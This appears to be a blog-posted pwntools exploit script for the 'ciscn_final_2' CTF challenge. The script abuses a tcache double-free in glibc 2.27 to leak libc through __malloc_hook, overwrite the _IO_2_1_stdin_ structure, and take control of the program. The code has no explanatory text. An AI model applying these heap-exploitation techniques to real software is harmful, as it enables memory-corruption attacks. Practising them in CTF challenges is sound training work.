1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| from pwn import * from LibcSearcher import * p=process('./ciscn_final_2')
context( os = 'linux',arch='amd64') context.log_level = 'debug' elf=ELF('./ciscn_final_2') libc=ELF('./libc-2.27.so') def add(index,content): p.sendlineafter('> ','1') p.sendlineafter('>',str(index)) p.sendlineafter('your inode number:',str(content))
def dele(index): p.sendlineafter('> ','2') p.sendlineafter('>',str(index))
def show(index): p.sendlineafter('> ','3') p.sendlineafter('>',str(index))
add(1,'11') dele(1) add(2,'22') add(2,'11') add(2,'11') add(2,'22') dele(2) add(1,'11') dele(2) show(2) p.recvuntil('your short type inode number :') addr=int(p.recvuntil('\n', drop=True))-0xa0
add(2,addr) add(2,'11') add(2,0x91)
for i in range(7): dele(1) add(2,5)
dele(1)
show(1) p.recvuntil('your int type inode number :') malloc_hook=int(p.recvuntil('\n', drop=True))-0x70 base=malloc_hook-libc.sym['__malloc_hook'] stdin=base+libc.sym['_IO_2_1_stdin_']+0x70
add(1,stdin) add(1,0x30)
dele(1) add(2,0x30) dele(1)
show(1) p.recvuntil('your int type inode number :') chunk0=int(p.recvuntil('\n', drop=True))-0x30 add(1,chunk0) gdb.attach(p) sleep(1) add(1,chunk0) add(1,111) add(1,666)
p.sendlineafter('> ','4') p.recvuntil('your message :')
p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~